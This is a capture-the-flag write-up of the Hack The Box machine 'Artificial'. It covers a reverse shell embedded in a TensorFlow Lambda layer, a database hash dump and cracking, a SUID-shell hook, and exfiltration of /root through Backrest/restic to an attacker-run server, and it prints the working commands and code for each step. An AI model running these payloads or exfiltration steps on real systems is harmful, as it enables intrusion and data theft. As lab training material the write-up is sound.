Artificial - HTB Machine
Artificial
is a Hack The Box machine from season 8
Summary (How?)
Artificial is a machine with a web interface with that allow to upload and execute TensorFlow .h5 model files. The initial foothold on Artificial was obtained by embedding a reverse shell inside a Lambda layer — a feature known to allow arbitrary code execution during model deserialization — we exploited the backend’s behavior of loading these models without sandboxing. From there, we accessed the Flask app’s source code, extracted database credentials, dumped the user table, cracked hashes using rockyou.txt, and obtained valid SSH credentials for user gael, leading to the user flag.
To escalate to root, we discovered a local service named Backrest — a web interface for the backup utility restic — running on port 9898. After forwarding the port and attempting credential reuse, we located a privileged backup archive readable by the sysadm group, of which gael was a member. This archive exposed the bcrypt hash of the backrest_root user, which we cracked to gain UI access. Using the “Run Command” functionality in Backrest, we exfiltrated the /root directory to our attacker-hosted rest-server, leveraging restic as a GTFO binary. Once restored locally, we retrieved the root flag.
Enumeration
Initial Page
Looking it around there’s nothing interesting, but if we click in “Get Started” we can register and log in this give us the following
File Upload
Here we are required to use an specific version of tensor flow
┌──(frang4㉿laptop-de-fran)-[~/htb-machines/2025/artifficial]
└─$ cat Dockerfile
FROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
┌──(frang4㉿laptop-de-fran)-[~/htb-machines/2025/artifficial]
└─$ cat requirements.txt
tensorflow-cpu==2.13.1
Browsing at /robots.txt
we get a 404 not found
If we check this very interesting 0xdf cheatsheet about 404 errors we can conclude that the framework being used is Flask
, so this is a python app.
JWT is being used to handle sessions: eyJ1c2VyX2lkIjoxMCwidXNlcm5hbWUiOiJmcmFuZzQifQ.aFkrqw.qiWdXyZ9gx8IDJcn-Vl-SLUicu4
Tensor Flow code execution - User Flag
The only funcitonality available at first sight is file upload, so let’s google if we can get RCE using a Tensor Flow AI Model.
Here I found this amazing blog where it explains that
Tensor flow models are programs
That’s why this is not a vulnerability, as it can be read in the security section of the project, Tensorflow models should be treated as programs and thus from a security perspective you should not load (run) untrusted models in your application. This is exactly what’s happening in this box.
The Lambda Layer
As its explained in the arcticle:
Tensorflow Keras models are built using the “layers” which the library provides.You can think of layers as functions which take an input and return a result. These functions are “chained” so that the output of the a layer is the input of the next one.
If you want to learn more about Tensorflow Keras layers you can have a read here.
There’s an specific layer, the Lambda layer
, which allows to wrap arbitrary Python expressions as a Layer object.
A warning is also present in the Lambda layer documentation stating the de-serialization issues that we will try to exploit.
Crafting a model with a reverse shell in the Lambda layer
The next script crafts a model which is stored in a file exploit.h5
. This model contains a reverse shell in the Lambda layer.
import tensorflow as tf
def exploit(x):
import os
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.185 9001 >/tmp/f")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Great, the next challenge is to compile this model using the same tensorflow version used in the backend server, luckily we are provided with Dockerifle to recreate environment needed.
Executing the following in the directoy where the downloaded Dockerfile is will pop up a root shell in the container.
> docker build -t tensor-flow-2.13.1-for-htb-machine .
> docker run --rm -it -v .:/code -w /code tensor-flow-2.13.1-for-htb-machine
For those who aren’t that familiar with docker, let’s explain the run command:
--rm
just removes the conainer once it exits-it
interactive mode so we can use a bash shell-v
creates a bind mount between our current directory and the container, effectively making the/code
directory inside the container mirror the contents of our current working directory ($PWD
).-w
sets up our$PWD
inside the container/code
- In any other case we would’ve have to execute
bash
or/bin/sh
at the end, but in this case it’s not necessary because the entrypoint does it:ENTRYPOINT ["/bin/bash"]
Once inside the container we execute the python script and get the model inside exploit.h5
root@093f1c9d91a0:/code# apt-get update && apt-get install -y netcat-openbsd
root@093f1c9d91a0:/code# python3 script.py
2025-06-23 11:44:57.244754: I tensorflow/core/util/port.cc:110] oneDNN custom operations are on. You may see slightly different numerical results due to floating-point round-off errors from different computation orders. To turn them off, set the environment variable `TF_ENABLE_ONEDNN_OPTS=0`.
2025-06-23 11:44:57.277346: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 AVX_VNNI FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
saving_api.save_model(
Uploading the payload and getting a reverse shell
Let’s set up a listener, click on “View Predictions” and wait for the magic to happen
┌──(frang4㉿laptop-de-fran)-[~/htb-machines/2025/artifficial]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 60392
/bin/sh: 0: can't access tty; job control turned off
$ ls
app.py
instance
models
__pycache__
static
templates
$
YES!
We can read the source code and find this secret and a database.
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
Vulnerable code
As well as the vulnerable function. Let’s understand the problem here.
@app.route('/run_model/<model_id>')
def run_model(model_id):
if ('user_id' in session):
username = session['username']
if not (User.query.filter_by(username=username).first()):
return redirect(url_for('login'))
else:
return redirect(url_for('login'))
model_path = os.path.join(app.config['UPLOAD_FOLDER'], f'{model_id}.h5')
if not os.path.exists(model_path):
return redirect(url_for('dashboard'))
try:
model = tf.keras.models.load_model(model_path)
hours = np.arange(0, 24 * 7).reshape(-1, 1)
predictions = model.predict(hours)
days_of_week = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"]
daily_predictions = {f"{days_of_week[i // 24]} - Hour {i % 24}": round(predictions[i][0], 2) for i in range(len(predictions))}
max_day = max(daily_predictions, key=daily_predictions.get)
max_prediction = daily_predictions[max_day]
model_summary = []
model.summary(print_fn=lambda x: model_summary.append(x))
model_summary = "\n".join(model_summary)
return render_template(
'run_model.html',
model_summary=model_summary,
daily_predictions=daily_predictions,
max_day=max_day,
max_prediction=max_prediction
)
except Exception as e:
print(e)
return redirect(url_for('dashboard'))
The problem is with the function tf.keras.models.load_model(model_path)
which supports deserializing models with Lambda layers, which store Python functions. This meand that if the .h5
file contains a Lambda layer with malicious Python code loading it will execute that coe inmmediately. As there is no sandboxing the code will run as the app directly in the host.
Dumping users from the database
app@artificial:~/app$ ls
ls
app.py instance models __pycache__ static templates
app@artificial:~/app$ sqlite3 instance/users.db
sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .table
.table
model user
sqlite> select * from user;
select * from user;
1|gael|[email protected]|c99175974b6e192936d97224638a34f8
2|mark|[email protected]|0f3d8c76530022670f1c6029eed09ccb
3|robert|[email protected]|b606c5f5136170f15444251665638b36
4|royer|[email protected]|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|[email protected]|bf041041e57f1aff3be7ea1abd6129d0
[...]
10|frang4|[email protected]|6a204bd89f3c8348afd5c77c717a097a
[...]
18|ippsec|[email protected]|366a74cb3c959de17d61db30591c39d1
Is that him? Hi ippsec 😁
Well here is gael’s password..
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
c99175974b6e192936d97224638a34f8:mattp005numbertwo
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: c99175974b6e192936d97224638a34f8
Now we can SSH!
gael@artificial:~$ cat user.txt
9e7516f268a0
Root flag - taking advantage of restic functionality
Enumeration
Gael is not among the sudoers
gael@artificial:~$ sudo -l
Sorry, user gael may not run sudo on artificial.
Services in localhost… What is that?
gael@artificial:~$ ss -atnlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
Port 5000 is a gunicorn server that is serving the flask app, but we have something in port 9898… Let’s forward it using ssh and check what is it
ssh -L 9898:localhost:9898 [email protected]
What is Backrest? According to the documentation:
Backrest is a web-accessible backup solution built on top of restic. Backrest provides a WebUI which wraps the restic CLI and makes it easy to create repos, browse snapshots, and restore files.
And what is restic?
Restic is a modern backup program that can back up your files.
Backups, cronjobs, I’m sure is somewhere around that.
Backrest location:
gael@artificial:~$ find / -name *backrest* 2>/dev/null
/usr/local/bin/backrest
/opt/backrest
/opt/backrest/.config/backrest
/opt/backrest/backrest
/opt/backrest/processlogs/backrest.log
/var/backups/backrest_backup.tar.gz
I don’t have much permissions and there’s nothing interesting in the files I can read… Here I did some research and found that inside /opt/backrest/.config/backrest/config.json
is defined the backrest user, but I don’t have read permissions to it.
gael@artificial:~$ ls -l /opt/backrest/
total 51104
-rwxr-xr-x 1 app ssl-cert 25690264 Feb 16 19:38 backrest
-rwxr-xr-x 1 app ssl-cert 3025 Mar 3 04:28 install.sh
-rw------- 1 root root 64 Mar 3 21:18 jwt-secret
-rw-r--r-- 1 root root 77824 Jun 23 12:40 oplog.sqlite
-rw------- 1 root root 0 Mar 3 21:18 oplog.sqlite.lock
-rw-r--r-- 1 root root 32768 Jun 23 12:40 oplog.sqlite-shm
-rw-r--r-- 1 root root 0 Jun 23 12:40 oplog.sqlite-wal
drwxr-xr-x 2 root root 4096 Mar 3 21:18 processlogs
-rwxr-xr-x 1 root root 26501272 Mar 3 04:28 restic
drwxr-xr-x 3 root root 4096 Jun 23 12:40 tasklogs
The goal know is to get into backrest UI, as the backups probably run as root and I will be able to escalate privileges in that way. For this I’ve tried every password and user discovered at the moment, but had no success. So I decided to look for more passwords as I remember that there were more hashes to crack in the users.db
database.
The result is that we guessed royer's
password.
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
bc25b1f80f544c0ab451c02a3dca9fc6:marwinnarak043414036
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hash
Time.Started.....: Mon Jun 23 09:53:15 2025 (1 sec)
Time.Estimated...: Mon Jun 23 09:53:16 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 21088.4 kH/s (2.21ms) @ Accel:2048 Loops:1 Thr:32 Vec:1
Recovered........: 1/4 (25.00%) Digests (total), 1/4 (25.00%) Digests (new)
Accessing the backrest service
At this point I was trying every combination possible to brute force the page. As there weren’t many passwords I was trying manually. Here I decided to make a list of avilable passwords and users so I wouldn’t miss any.
Passwords
marwinnarak043414036
Sup3rS3cr3tKey4rtIfici4L
mattp005numbertwo
Users
- root
- admin
- gael
- mark
- robert
- royer
- mary
- sync
- backup
Still the same… Failed authentication
At this point nothing seemed to work, so I decided to revisit my initial enumeration inside the host, and I realized I missed a key output. Let’s check the find we executed to locate backrest’s folder.
gael@artificial:~$ find / -name *backrest* 2>/dev/null
/usr/local/bin/backrest
/opt/backrest
/opt/backrest/.config/backrest
/opt/backrest/backrest
/opt/backrest/processlogs/backrest.log
/var/backups/backrest_backup.tar.gz
[...]
(In the real output there were more contents) Haven’t you seen it? There is something in /var/backups/backrest_backup.tar.gz
.
gael@artificial:~$ ls -la /var/backups
total 51228
[...]
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 backrest_backup.tar.gz
Okay, but only the sysadm
group can access, and I’m only gael, right? Well, at this point I realizes how I rushed into brute force and lost a lot of time just doing what had worked in other machines instead of being organized and thoroughly enumerate before exploiting.
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)
I’m in the sysadm group, a key finding that would have probably make me question why, and find this backup file instead of pointless brute force.
Inside this backups file we can find the backrest_root
user and his password encrypted.
┌──(kali㉿kali)-[~/htb-machines/2025/artificial/backrest]
└─$ tar -xf /var/backups/backrest_backup.tar.gz
┌──(kali㉿kali)-[~/htb-machines/2025/artificial/backrest]
└─$ cat .config/backrest/config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
As the string doesn’t look like a hash I tried dencoding and it turns out it was a base64
└─$ echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
From the hascat example page we can see that the mode is 3200
. I also tried with 30600, but I did not have it installed. The one that worked was 3200
.
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP5...Zz/0QO
And we have backrest_root:!@#$%^
credentials to FINALLY access backrest!
This is the main page (and only one)
I didn’t want to read much documentation about how it worked, so I started to play around and found some interesting things…
Adding a restic repository
I can add a restic repository, that according to the documentation, it is:
The place where your backups will be saved is called a “repository”. This is simply a directory containing a set of subdirectories and files created by restic to store your backups, some corresponding metadata and encryption keys.
The interesting thing is that I cant add a hook with a command that will be executed under certain conditions
So I added a repo with a hook command that would create a SUID shell just to check: cp /bin/bash /tmp/bashroot && chmod 4755 /tmp/bashroot
. Then set all options in “Runs when…” and hit Submit.
Here we can see our repo. We have to be quick, as they get deleted after a few minutes.
Command execution from backrest
What is REALLY interesting here is that we can directly execute commands as root using “Run Command”. The thing is we are appending options to the restic
command
Here there are several alternatives.
- Try command injection
- Backup root folder
- Escalate privileges using restic binary
I tried the first two and they didn’t work. The first one was somehow blocked as it wasn’t executing commands or including env variables as expected, there was clearly some sort of sanitization (I recognize that I didn’t try everything I could here, maybe some of you can find an injection). The second one “worked”, but the root folder was being backed up with root permissions, so I couldn’t read it even though I had it on gael’s home. Being able to back up root’s folder confirmed that restic is executed as root.
The third alternative was the one.
restic is a GTFO binary
What do we have to do If we can execute a binary as root and want to escalate privileges? First of all, check if it’s a GTFO binary. This is an incredible collection of binaries that can be used to escalate privileges in any way. And it turns out restic
is among them
From here on I followed the restic GTFO page. Here it is explained that we can exfiltrate files usin restic to a remote server. For this, the first thing is running a server on our attack host using rest-server. I used docker and it was very easy to set up. Just running the server and adding an user.
Runnig a restic server using rest-server
┌──(kali㉿kali)-[~/htb-machines/2025/artificial/backrest]
└─$ docker run -p 8000:8000 -v /my/data:/data --name rest_server restic/rest-server
Unable to find image'restic/rest-server:latest' locally
latest: Pulling from restic/rest-server
fe07684b16b8: Pull complete
e94f344ccc89: Pull complete
507b4e466d26: Pull complete
90feee258b6e: Pull complete
64c7c029dfa9: Pull complete
edba3cafd745: Pull complete
Digest: sha256:d2aff06f47eb38637dff580c3e6bce4af98f386c396a25d32eb6727ec96214a5
Status: Downloaded newer imagefor restic/rest-server:latest
**WARNING** No user exists, please 'docker exec -it $CONTAINER_ID create_user'
Data directory: /data
Authentication enabled
Loaded htpasswd file /data/.htpasswd
Append only mode disabled
Private repositories disabled
Group accessible repos disabled
start server on [::]:8000
Reloaded htpasswd file
As it was suggested in the warning, I created an user
┌──(kali㉿kali)-[~/htb-machines/2025/artificial]
└─$ docker exec -it rest_server create_user frang4 mypassword
Adding password for user frang4
Then let’s init a restic repository locally. This will receive the /root
folder.
┌──(kali㉿kali)-[~/htb-machines/2025/artificial]
└─$ restic init -r "rest:http://frang4:mypassword@localhost:8000"
enter password for new repository:
enter password again:
created restic repository 0eb466d352 at rest:http://frang4:***@localhost:8000/
Please note that knowledge of your password is required to access
the repository. Losing your password means that your data is
irrecoverably lost.
Backing up /root folder to our restic server
Finally, we execute this using the “Run command” functionality
backup -r "rest:http://frang4:[email protected]:8000" /root
And restore it locally
┌──(kali㉿kali)-[~/htb-machines/2025/artificial]
└─$ restic restore -r "rest:http://frang4:mypassword@localhost:8000" latest --target .
enter password for repository:
repository 0eb466d3 opened (version 2, compression level auto)
created new cache in /home/kali/.cache/restic
[0:00] 100.00% 1 / 1 index files loaded
restoring snapshot 3a94fcbf of [/root] at 2025-06-24 11:50:34.410731951 +0000 UTC by root@artificial to .
Summary: Restored 343 files/dirs (4.300 MiB) in 0:00
YES!
┌──(kali㉿kali)-[~/htb-machines/2025/artificial]
└─$ ls root
config data index keys locks root.txt scripts snapshots
┌──(kali㉿kali)-[~/htb-machines/2025/artificial]
└─$ cat root/root.txt
994cc01c0a4c16